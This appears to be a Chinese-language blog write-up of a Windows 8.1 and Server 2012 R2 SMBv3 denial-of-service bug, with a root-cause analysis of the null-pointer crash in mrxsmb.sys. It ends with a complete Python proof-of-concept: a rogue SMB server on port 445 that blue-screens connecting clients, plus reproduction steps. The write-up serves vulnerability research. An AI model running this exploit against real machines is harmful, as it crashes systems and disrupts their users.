0x01 前言

去年年底,当设置一个模拟器来定位SMB协议时,发现了一个如此简单而又非常有效的攻击大型企业的漏洞。TL; DR:一个拒绝服务错误允许BSOD协议向Windows 8.1和Windows Server 2012 R2计算机发送单个数据包。

0x02 测试环境

受影响的系统:

·Windows 8.1(x86)

·Windows Server 2012 R2(x64)

0x03 背景知识

要了解此漏洞的根本原因,需要了解SMB数据包的结构方式。
让我们来看一下SMBv1协议头文件

正如我们所看到的协议字段以FF字节开始,现在让我们来看看SMBv2

协议字段现在以FE字节开始,那么SMBv3呢?SMB协议的v3版本已经过加密,并将使用SMB2_Transform的特定头部进行加密通信:

SMBv3 始终是加密的,正如可以在官方文档中了解到SMBv3会话的协商从SMBv2会话开始。以下是设置SMBv3会话时涉及到的数据包:

在1到8字节的数据包中,SMB数据头看起来像这样:

我们可以看到,使用的字节序列仍然是0xFE,它是Microsoft官方文档中指示的SMBv2的代码。

从第9字节开始,加密处于连通状态,并且报头中使用的字节序列将为0xFD

正如您在PoC中看到的那样,当第一次会话时立即发送带有0xFD报头的SMB数据包时会发生内核崩溃。现在,让我们深入了解崩溃转储机制,以了解此次崩溃的根本原因。

0x04 根本原因分析

仅在Windows 8.1(x86)上执行来分析根本原因,发送特定数据包会导致内核崩溃,因为它要从内存中读取地址为0x00000030处受保护(空页面保护)的值。

发生崩溃的模块是“ mrxsmb.sys ”,它是Microsoft服务器消息块(SMB)的重定器。崩溃的确切位置是mrxsmb!SmbWksReceiveEvent + 8539,其中从[ecx + 30h]发生偏移到EAX,ECX的值指向0x00000000
当我们通过IDA分析流程时,它看起来如下所示:
处理数据包并检查是否启用了加密,这与使用加密SMB数据包的SMB
3.0相关

在WinDBG中,它看起来像这样:

从本质上讲,它将检查加密是否被启用,如果在这种情况下,它将遵循“错误”路径并转移到下一个函数:

它将执行一些比较指令,并且第二个最后的指令是检查是否用十六进制值0x34注册ECX。如果ECX低于或等于0x34,在这种情况下发发生错误:

遵循“错误”路径:发生另一条指令,在这种情况下,如果寄存器EDX(攻击者可控制值)高于[ESP + 4C]的值,它将遵循“真实”路径

各种寄存器中的值:

下一条指令再次将ECX的值与0x34进行比较,如果ECX高于0x34,它将遵循“真实”路径

在这种情况下,它将遵循真实路径,因为ECX的值高于0x34。以下指令块将_Microsoft_Windows_SMBClientEnableBits的值0x80000000之间的值进行测试。
在WinDBG中,我们可以看到测试会导致“错误”,随后将遵循“错误”路径。

引导我们接受一个始终为“true”的测试指令

转而使用loc A0F20E05”功能将零置于堆栈之后,在这种情况下,它将运行“ loc A0F20E15”:在将ECX + 30h移至EAX的指令处,会发生崩溃,因为ECX为0x00000000,它将尝试读取受保护内存空间0x00000030的值。

这会导致内核崩溃,并强制机器重新启动。

0x05 利用poc

import SocketServer  
from binascii import unhexlify  
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'  
class byebye(SocketServer.BaseRequestHandler):  
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1  
launch = SocketServer.TCPServer(('', 445),byebye)  
launch.serve_forever()  

0x06 漏洞复现

1.在kali执行脚本

2.然后在windows2012 r2上访问共享地址:\\10.0.0.217,会立即看到操作系统蓝屏!

 
 
 
 

最新文章

  1. mdadm设定RAID磁盘阵列,且当分区故障后如何重建
  2. Android性能优化典范
  3. Linux execve函数簇用法
  4. ASP.NET中gridview获取当前行的索引值
  5. PHP如何实现文件上传
  6. 蓝桥杯 ALGO-108 最大体积 (动态规划)
  7. call与apply函数
  8. Oracle 监听器无法启动(TNS-12555,TNS-12560,TNS-00525)
  9. ToString格式.
  10. javascript版1024游戏源码
  11. 演练2-1:创建MVC默认项目
  12. MapReduce 异常 LongWritable cannot be cast to Text
  13. JQ五星好评效果
  14. 任意N个不同数的逆序对平均值
  15. Spark SQL中列转行(UNPIVOT)的两种方法
  16. LAB6 SOAP
  17. EDK II之USB主控制器(EHCI)驱动的实现框架
  18. this关键字的使用8/22
  19. Python: 高阶函数与lambda表达式
  20. C#复制文件

热门文章

  1. html学习第一天
  2. PHP导出Excel,设置表格样式,填充颜色等较为复杂样式
  3. [转载]A cycle was detected in the build path of project
  4. RabbitMQ入门:在Spring Boot 应用中整合RabbitMQ
  5. cmake-index-3.11.4机翻
  6. RNN: Feed Forward, Back Propagation Through Time and Truncated Backpropagation Through Time
  7. Appstate的几种状态及在android 和ios触发
  8. selenium--判断元素是否存在
  9. $_SERVER的详细参数整理下
  10. lintcode-384-最长无重复字符的子串